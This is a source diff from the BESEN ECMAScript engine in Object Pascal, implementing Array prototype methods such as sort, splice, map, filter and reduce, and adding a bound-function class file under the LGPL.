re:=TBESEN(Instance).ToInt32(Arguments^[1]^); + end else begin + re:=l; + end; + if re<0 then begin + f:=l+re; + if f<0 then begin + f:=0; + end; + end else begin + f:=re; + if l<f then begin + f:=l; + end; + end; + n:=0; + while k<f do begin + Pk:=BESENArrayIndexToStr(k); + if TBESENObject(ov.Obj).Get(Pk,v) then begin + a.DefineOwnProperty(BESENArrayIndexToStr(n),BESENDataPropertyDescriptor(v,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + end; + inc(k); + inc(n); + end; + a.Put('length',BESENNumberValue(n),true,BESENLengthHash); + finally + a.GarbageCollectorUnlock; + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(a); +end; + +procedure TBESENObjectArrayPrototype.NativeSort(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var CompareFunction:TBESENObject; + ov,sva,svb:TBESENValue; + procedure IntroSort(Left,Right,Depth:int64); + function SortCompare(const x,y:TBESENValue):integer; + var vn:TBESENValue; + sx,sy:TBESENString; + ValuePointers:array[0..1] of PBESENValue; + begin + if (x.ValueType=bvtNONE) and (y.ValueType=bvtNONE) then begin + result:=0; + end else if x.ValueType=bvtNONE then begin + result:=1; + end else if y.ValueType=bvtNONE then begin + result:=-1; + end else if (x.ValueType=bvtUNDEFINED) and (y.ValueType=bvtUNDEFINED) then begin + result:=0; + end else if x.ValueType=bvtUNDEFINED then begin + result:=1; + end else if y.ValueType=bvtUNDEFINED then begin + result:=-1; + end else begin + if assigned(CompareFunction) then begin + ValuePointers[0]:=@x; + ValuePointers[1]:=@y; + TBESEN(Instance).ObjectCall(CompareFunction,ThisArgument,@ValuePointers,2,vn); + if (vn.ValueType<>bvtNUMBER) or BESENIsNaN(vn.Num) then begin + raise EBESENTypeError.Create('Array sort error'); + end; + if BESENIsNegative(vn.Num) then begin + result:=-1; + end else if not BESENIsZero(0) then begin + result:=1; + end else begin + result:=0; + end; + end else begin + sx:=TBESEN(Instance).ToStr(x); + sy:=TBESEN(Instance).ToStr(y); + if sx<sy then begin + result:=-1; + end else if sx>sy then begin + result:=1; + end else begin + result:=0; + end; + sx:=''; + sy:=''; + end; + end; + end; + procedure GetIndex(i:int64;var r:TBESENValue); + var s:TBESENString; + begin + s:=BESENArrayIndexToStr(i); + if not TBESENObject(ov.Obj).Get(s,r) then begin + r.ValueType:=bvtNONE; + end; + end; + procedure PutIndex(i:int64;const a:TBESENValue); + begin + if a.ValueType=bvtNONE then begin + TBESENObject(ov.Obj).Delete(BESENArrayIndexToStr(i),true); + end else begin + TBESENObject(ov.Obj).Put(BESENArrayIndexToStr(i),a,true); + end; + end; + function CompareIndex(const a,b:int64):integer; + begin + GetIndex(a,sva); + GetIndex(b,svb); + result:=SortCompare(sva,svb); + end; + procedure Swap(a,b:int64); + begin + GetIndex(a,sva); + GetIndex(b,svb); + PutIndex(b,sva); + PutIndex(a,svb); + end; + procedure SiftDown(Current,MaxIndex:int64); + var SiftLeft,SiftRight,Largest:int64; + sl,sr,l:TBESENValue; + begin + SiftLeft:=Left+(2*(Current-Left))+1; + SiftRight:=Left+(2*(Current-Left))+2; + Largest:=Current; + sl:=BESENEmptyValue; + sr:=BESENEmptyValue; + l:=BESENEmptyValue; + GetIndex(SiftLeft,sl); + GetIndex(Largest,l); + if (SiftLeft<=MaxIndex) and (SortCompare(sl,l)>0) then begin + Largest:=SiftLeft; + GetIndex(Largest,l); + end; + GetIndex(SiftRight,sr); + if (SiftRight<=MaxIndex) and (SortCompare(sr,l)>0) then begin + Largest:=SiftRight; + end; + if Largest<>Current then begin + Swap(Current,Largest); + SiftDown(Largest,MaxIndex); + end; + end; + procedure InsertionSort; + var i,j:int64; + t,x,v:TBESENValue; + begin + t:=BESENEmptyValue; + x:=BESENEmptyValue; + v:=BESENEmptyValue; + i:=Left+1; + while i<=Right do begin + GetIndex(i,t); + j:=i-1; + while j>=Left do begin + GetIndex(j,v); + if SortCompare(t,v)<0 then begin + GetIndex(j,x); + PutIndex(j+1,x); + dec(j); + end else begin + break; + end; + end; + PutIndex(j+1,t); + inc(i); + end; + end; + procedure HeapSort; + var i:int64; + begin + i:=((Left+Right+1) div 2)-1; + while i>=Left do begin + SiftDown(i,Right); + dec(i); + end; + i:=Right; + while i>=Left+1 do begin + Swap(i,Left); + SiftDown(Left,i-1); + dec(i); + end; + end; + procedure QuickSortWidthMedianOfThreeOptimization; + var Middle,i,j:integer; + Pivot,v:TBESENValue; + begin + Middle:=(Left+Right) div 2; + if (Right-Left)>3 then begin + if CompareIndex(Left,Middle)>0 then begin + Swap(Left,Middle); + end; + if CompareIndex(Left,Right)>0 then begin + Swap(Left,Right); + end; + if CompareIndex(Middle,Right)>0 then begin + Swap(Middle,Right); + end; + end; + Pivot:=BESENEmptyValue; + v:=BESENEmptyValue; + GetIndex(Middle,Pivot); + i:=Left; + j:=Right; + while true do begin + while i<j do begin + GetIndex(i,v); + if SortCompare(v,Pivot)<0 then begin + inc(i); + end else begin + break; + end; + end; + while j>i do begin + GetIndex(j,v); + if SortCompare(v,Pivot)>0 then begin + dec(j); + end else begin + break; + end; + end; + if i>j then begin + break; + end; + Swap(i,j); + inc(i); + dec(j); + end; + IntroSort(Left,j,Depth-1); + IntroSort(i,Right,Depth-1); + end; + begin + if Left<Right then begin + if (Right-Left)<16 then begin + InsertionSort; + end else if Depth=0 then begin + HeapSort; + end else begin + QuickSortWidthMedianOfThreeOptimization; + end; + end; + end; +var l:int64; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',sva,TBESENObject(ov.Obj),BESENLengthHash); + l:=TBESEN(Instance).ToUINT32(sva); + if CountArguments>0 then begin + if (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj) and TBESENObject(Arguments^[0]^.Obj).HasCall then begin + CompareFunction:=TBESENObject(Arguments^[0]^.Obj); + end else begin + raise EBESENTypeError.Create('Bad argument'); + end; + end else begin + CompareFunction:=nil; + end; + IntroSort(0,l-1,BESENIntLog2(l)*2); + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(TBESENObject(ov.Obj)); +end; + +procedure TBESENObjectArrayPrototype.NativeSplice(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,v:TBESENValue; + A:TBESENObject; + r3,r5,r6,r17,k:TBESENUINT32; + s9,s11,s22,s33,s39:TBESENString; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + a:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(a); + a.GarbageCollectorLock; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + r3:=TBESEN(Instance).ToUINT32(v); + + if CountArguments<1 then begin + v:=BESENNumberValue(0); + end else begin + TBESEN(Instance).ToIntegerValue(Arguments^[0]^,v); + end; + if (-v.Num)>r3 then begin + r5:=0; + end else if BESENIsNegative(v.Num) then begin + r5:=trunc(r3+v.Num); + end else if v.Num<r3 then begin + r5:=trunc(v.Num); + end else begin + r5:=r3; + end; + + if CountArguments<2 then begin + v:=BESENNumberValue(0); + end else begin + TBESEN(Instance).ToIntegerValue(Arguments^[1]^,v); + end; + if BESENIsNegative(v.Num) then begin + r6:=0; + end else begin + r6:=trunc(v.Num); + end; + if (r3-r5)<r6 then begin + r6:=r3-r5; + end; + k:=0; + while k<r6 do begin + s9:=BESENArrayIndexToStr(r5+k); + if TBESENObject(ov.Obj).Get(s9,v) then begin + s11:=BESENArrayIndexToStr(k); + A.DefineOwnProperty(s11,BESENDataPropertyDescriptor(v,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + end; + inc(k); + end; + + A.Put('length',BESENNumberValue(r6),true,BESENLengthHash); + if CountArguments<2 then begin + r17:=0; + end else begin + r17:=CountArguments-2; + end; + if r17<>r6 then begin + if r17<=r6 then begin + k:=r5; + while k<(r3-r6) do begin + s22:=BESENArrayIndexToStr(k+r6); + if TBESENObject(ov.Obj).Get(s22,v) then begin + TBESENObject(ov.Obj).Put(BESENArrayIndexToStr(k+r17),v,true); + end else begin + TBESENObject(ov.Obj).Delete(BESENArrayIndexToStr(k+r17),true); + end; + inc(k); + end; + k:=r3; + while k>((r3+r17)-r6) do begin + s33:=BESENArrayIndexToStr(k-1); + TBESENObject(ov.Obj).Delete(s33,true); + dec(k); + end; + end else begin + k:=r3-r6; + while k>r5 do begin + s39:=BESENArrayIndexToStr(k+r6-1); + if TBESENObject(ov.Obj).Get(s39,v) then begin + TBESENObject(ov.Obj).Put(BESENArrayIndexToStr(k+r17-1),v,true); + end else begin + TBESENObject(ov.Obj).Delete(BESENArrayIndexToStr(k+r17-1),true); + end; + dec(k); + end; + end; + end; + + k:=2; + while k<longword(CountArguments) do begin + TBESENObject(ov.Obj).Put(BESENArrayIndexToStr((k+r5)-2),Arguments^[k]^,true); + inc(k); + end; + + TBESENObject(ov.Obj).Put('length',BESENNumberValue((r3+r17)-r6),true,BESENLengthHash); + finally + a.GarbageCollectorUnlock; + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(a); +end; + +procedure TBESENObjectArrayPrototype.NativeUnshift(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var r2,r3,k:TBESENUINT32; + ov,v:TBESENValue; + p:TBESENString; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + r2:=TBESEN(Instance).ToUINT32(v); + r3:=CountArguments; + BESENArrayCheckTooLong(r2,r3); + k:=r2; + while k>0 do begin + p:=BESENArrayIndexToStr(k-1); + if TBESENObject(ov.Obj).Get(p,v) then begin + TBESENObject(ov.Obj).Put(BESENArrayIndexToStr((k+r3)-1),v,true); + end else begin + TBESENObject(ov.Obj).Delete(BESENArrayIndexToStr((k+r3)-1),true); + end; + dec(k); + end; + k:=0; + while k<r3 do begin + TBESENObject(ov.Obj).Put(BESENArrayIndexToStr(k),Arguments^[k]^,true); + inc(k); + end; + TBESENObject(ov.Obj).Put('length',BESENNumberValue(r2+r3),true,BESENLengthHash); + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + ResultValue:=BESENUndefinedValue; +end; + +procedure TBESENObjectArrayPrototype.NativeIndexOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,sv,v:TBESENValue; + Len,n,k:int64; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToUINT32(v); + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=-1; + if Len>0 then begin + if CountArguments>0 then begin + sv:=Arguments^[0]^; + end else begin + sv:=BESENUndefinedValue; + end; + if CountArguments>1 then begin + n:=TBESEN(Instance).ToInt(Arguments^[1]^); + end else begin + n:=0; + end; + if n<Len then begin + if n<0 then begin + k:=Len-abs(n); + if k<0 then begin + k:=0; + end; + end else begin + k:=n; + end; + while k<Len do begin + if TBESENObject(ov.Obj).Get(BESENArrayIndexToStr(k),v) then begin + if BESENEqualityExpressionStrictEquals(sv,v) then begin + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=k; + break; + end; + end; + inc(k); + end; + end; + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeLastIndexOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,sv,v:TBESENValue; + Len,n,k:int64; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=-1; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToUINT32(v); + if Len>0 then begin + if CountArguments>0 then begin + sv:=Arguments^[0]^; + end else begin + sv:=BESENUndefinedValue; + end; + if CountArguments>1 then begin + n:=TBESEN(Instance).ToInt(Arguments^[1]^); + end else begin + n:=Len-1; + end; + if n<0 then begin + k:=Len-abs(n); + end else begin + k:=min(n,Len-1); + end; + while k>=0 do begin + if TBESENObject(ov.Obj).Get(BESENArrayIndexToStr(k),v) then begin + if BESENEqualityExpressionStrictEquals(sv,v) then begin + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=k; + break; + end; + end; + dec(k); + end; + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeEvery(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,cv,tv,v,vr,vi:TBESENValue; + Len,k:int64; + Pk:TBESENString; + ValuePointers:array[0..2] of PBESENValue; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToUINT32(v); + if CountArguments>0 then begin + cv:=Arguments^[0]^; + end else begin + cv:=BESENUndefinedValue; + end; + if not BESENIsCallable(cv) then begin + raise EBESENTypeError.Create('Callback not callable'); + end; + if CountArguments>1 then begin + tv:=Arguments^[1]^; + end else begin + tv:=BESENUndefinedValue; + end; + ValuePointers[0]:=@v; + ValuePointers[1]:=@vi; + ValuePointers[2]:=@ov; + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=true; + k:=0; + while k<Len do begin + Pk:=BESENArrayIndexToStr(k); + if TBESENObject(ov.Obj).Get(Pk,v) then begin + vi.ValueType:=bvtNUMBER; + vi.Num:=k; + TBESEN(Instance).ObjectCall(TBESENObject(cv.Obj),tv,@ValuePointers,3,vr); + if not TBESEN(Instance).ToBool(vr) then begin + ResultValue.Bool:=false; + break; + end; + end; + inc(k); + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeSome(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,cv,tv,v,vr,vi:TBESENValue; + Len,k:int64; + Pk:TBESENString; + ValuePointers:array[0..2] of PBESENValue; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToUINT32(v); + if CountArguments>0 then begin + cv:=Arguments^[0]^; + end else begin + cv:=BESENUndefinedValue; + end; + if not BESENIsCallable(cv) then begin + raise EBESENTypeError.Create('Callback not callable'); + end; + if CountArguments>1 then begin + tv:=Arguments^[1]^; + end else begin + tv:=BESENUndefinedValue; + end; + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=false; + ValuePointers[0]:=@v; + ValuePointers[1]:=@vi; + ValuePointers[2]:=@ov; + k:=0; + while k<Len do begin + Pk:=BESENArrayIndexToStr(k); + if TBESENObject(ov.Obj).Get(Pk,v) then begin + vi.ValueType:=bvtNUMBER; + vi.Num:=k; + TBESEN(Instance).ObjectCall(TBESENObject(cv.Obj),tv,@ValuePointers,3,vr); + if TBESEN(Instance).ToBool(vr) then begin + ResultValue.Bool:=true; + break; + end; + end; + inc(k); + end; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeForEach(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,cv,tv,v,vr,vi:TBESENValue; + Len,k:int64; + Pk:TBESENString; + ValuePointers:array[0..2] of PBESENValue; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToUINT32(v); + if CountArguments>0 then begin + cv:=Arguments^[0]^; + end else begin + cv:=BESENUndefinedValue; + end; + if not BESENIsCallable(cv) then begin + raise EBESENTypeError.Create('Callback not callable'); + end; + if CountArguments>1 then begin + tv:=Arguments^[1]^; + end else begin + tv:=BESENUndefinedValue; + end; + ValuePointers[0]:=@v; + ValuePointers[1]:=@vi; + ValuePointers[2]:=@ov; + k:=0; + while k<Len do begin + Pk:=BESENArrayIndexToStr(k); + if TBESENObject(ov.Obj).Get(Pk,v) then begin + vi.ValueType:=bvtNUMBER; + vi.Num:=k; + TBESEN(Instance).ObjectCall(TBESENObject(cv.Obj),tv,@ValuePointers,3,vr); + end; + inc(k); + end; + ResultValue.ValueType:=bvtUNDEFINED; + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeMap(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,cv,tv,v,vr,vi:TBESENValue; + Len,k:int64; + Pk:TBESENString; + a:TBESENObjectArray; + ValuePointers:array[0..2] of PBESENValue; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToUINT32(v); + if CountArguments>0 then begin + cv:=Arguments^[0]^; + end else begin + cv:=BESENUndefinedValue; + end; + if not BESENIsCallable(cv) then begin + raise EBESENTypeError.Create('Callback not callable'); + end; + if CountArguments>1 then begin + tv:=Arguments^[1]^; + end else begin + tv:=BESENUndefinedValue; + end; + a:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(a); + a.GarbageCollectorLock; + try + a.Len:=Len; + ValuePointers[0]:=@v; + ValuePointers[1]:=@vi; + ValuePointers[2]:=@ov; + k:=0; + while k<Len do begin + Pk:=BESENArrayIndexToStr(k); + if TBESENObject(ov.Obj).Get(Pk,v) then begin + vi.ValueType:=bvtNUMBER; + vi.Num:=k; + TBESEN(Instance).ObjectCall(TBESENObject(cv.Obj),tv,@ValuePointers,3,vr); + a.DefineOwnProperty(Pk,BESENDataPropertyDescriptor(vr,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + end; + inc(k); + end; + finally + a.GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(a); + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeFilter(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,cv,tv,kv,vr,vi:TBESENValue; + Len,k,n:int64; + Pk:TBESENString; + a:TBESENObjectArray; + ValuePointers:array[0..2] of PBESENValue; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',kv,TBESENObject(ov.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToUINT32(kv); + if CountArguments>0 then begin + cv:=Arguments^[0]^; + end else begin + cv:=BESENUndefinedValue; + end; + if not BESENIsCallable(cv) then begin + raise EBESENTypeError.Create('Callback not callable'); + end; + if CountArguments>1 then begin + tv:=Arguments^[1]^; + end else begin + tv:=BESENUndefinedValue; + end; + a:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(a); + a.GarbageCollectorLock; + try + ValuePointers[0]:=@kv; + ValuePointers[1]:=@vi; + ValuePointers[2]:=@ov; + k:=0; + n:=0; + while k<Len do begin + Pk:=BESENArrayIndexToStr(k); + if TBESENObject(ov.Obj).Get(Pk,kv) then begin + vi.ValueType:=bvtNUMBER; + vi.Num:=k; + TBESEN(Instance).ObjectCall(TBESENObject(cv.Obj),tv,@ValuePointers,3,vr); + if TBESEN(Instance).ToBool(vr) then begin + a.DefineOwnProperty(BESENArrayIndexToStr(n),BESENDataPropertyDescriptor(kv,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + inc(n); + end; + end; + inc(k); + end; + finally + a.GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(a); + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeReduce(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,cv,av,v,vi,nav:TBESENValue; + Len,k:int64; + Pk:TBESENString; + kPresent:boolean; + ValuePointers:array[0..3] of PBESENValue; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToUINT32(v); + if CountArguments>0 then begin + cv:=Arguments^[0]^; + end else begin + cv:=BESENUndefinedValue; + end; + if not BESENIsCallable(cv) then begin + raise EBESENTypeError.Create('Callback not callable'); + end; + k:=0; + if CountArguments>1 then begin + av:=Arguments^[1]^; + end else if Len=0 then begin + raise EBESENTypeError.Create('Reduce failed'); + end else begin + kPresent:=false; + while (k<Len) and not kPresent do begin + Pk:=BESENArrayIndexToStr(k); + kPresent:=TBESENObject(ov.Obj).HasProperty(Pk); + if kPresent then begin + TBESENObject(ov.Obj).Get(Pk,av); + end; + inc(k); + end; + if not kPresent then begin + raise EBESENTypeError.Create('Reduce failed'); + end; + end; + nav:=BesenUndefinedValue; + ValuePointers[0]:=@av; + ValuePointers[1]:=@v; + ValuePointers[2]:=@vi; + ValuePointers[3]:=@ov; + while k<Len do begin + Pk:=BESENArrayIndexToStr(k); + if TBESENObject(ov.Obj).Get(Pk,v) then begin + vi.ValueType:=bvtNUMBER; + vi.Num:=k; + TBESEN(Instance).ObjectCall(TBESENObject(cv.Obj),BESENUndefinedValue,@ValuePointers,4,nav); + BesenCopyValue(av,nav); + end; + inc(k); + end; + BESENCopyValue(ResultValue,av); + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectArrayPrototype.NativeReduceRight(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,cv,av,v,vi,nav:TBESENValue; + Len,k:int64; + Pk:TBESENString; + kPresent:boolean; + ValuePointers:array[0..3] of PBESENValue; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + if not ((ov.ValueType=bvtOBJECT) and assigned(TBESENObject(ov.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('length',v,TBESENObject(ov.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToUINT32(v); + if CountArguments>0 then begin + cv:=Arguments^[0]^; + end else begin + cv:=BESENUndefinedValue; + end; + if not BESENIsCallable(cv) then begin + raise EBESENTypeError.Create('Callback not callable'); + end; + k:=Len-1; + if CountArguments>1 then begin + av:=Arguments^[1]^; + end else if Len=0 then begin + raise EBESENTypeError.Create('Reduce failed'); + end else begin + kPresent:=false; + while (k>=0) and not kPresent do begin + Pk:=BESENArrayIndexToStr(k); + kPresent:=TBESENObject(ov.Obj).HasProperty(Pk); + if kPresent then begin + TBESENObject(ov.Obj).Get(Pk,av); + end; + dec(k); + end; + if not kPresent then begin + raise EBESENTypeError.Create('Reduce failed'); + end; + end; + nav:=BesenUndefinedValue; + ValuePointers[0]:=@av; + ValuePointers[1]:=@v; + ValuePointers[2]:=@vi; + ValuePointers[3]:=@ov; + while k>=0 do begin + Pk:=BESENArrayIndexToStr(k); + if TBESENObject(ov.Obj).Get(Pk,v) then begin + vi.ValueType:=bvtNUMBER; + vi.Num:=k; + TBESEN(Instance).ObjectCall(TBESENObject(cv.Obj),BESENUndefinedValue,@ValuePointers,4,nav); // ES5 errata fix + BesenCopyValue(av,nav); + end; + dec(k); + end; + BESENCopyValue(ResultValue,av); + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; +end; + +end. diff --git a/Core/JS/BESENObjectBindingFunction.pas b/Core/JS/BESENObjectBindingFunction.pas new file mode 100644 index 0000000..125ccc7 --- /dev/null +++ b/Core/JS/BESENObjectBindingFunction.pas @@ -0,0 +1,191 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectBindingFunction; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor,BESENEnvironmentRecord; + +type TBESENObjectBindingFunction=class(TBESENObjectFunction) + public + TargetFunction:TBESENObject; + BoundThis:TBESENValue; + BoundArguments:TBESENValues; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + function GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; override; + function GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasInstance(const AInstance:TBESENValue):TBESENBoolean; override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + function HasHasInstance:TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN,BESENErrors,BESENHashUtils; + +constructor TBESENObjectBindingFunction.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='Binding'; + TargetFunction:=nil; + BoundThis:=BESENUndefinedValue; + BoundArguments:=nil; +end; + +destructor TBESENObjectBindingFunction.Destroy; +begin + TargetFunction:=nil; + BoundThis:=BESENUndefinedValue; + SetLength(BoundArguments,0); + inherited Destroy; +end; + +function TBESENObjectBindingFunction.GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; +begin + if not assigned(Base) then begin + Base:=self; + end; + result:=inherited GetEx(p,AResult,Descriptor,Base,Hash); +end; + +function TBESENObjectBindingFunction.GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; +begin + if not assigned(Base) then begin + Base:=self; + end; + result:=inherited GetIndex(Index,ID,AResult,Base); +end; + 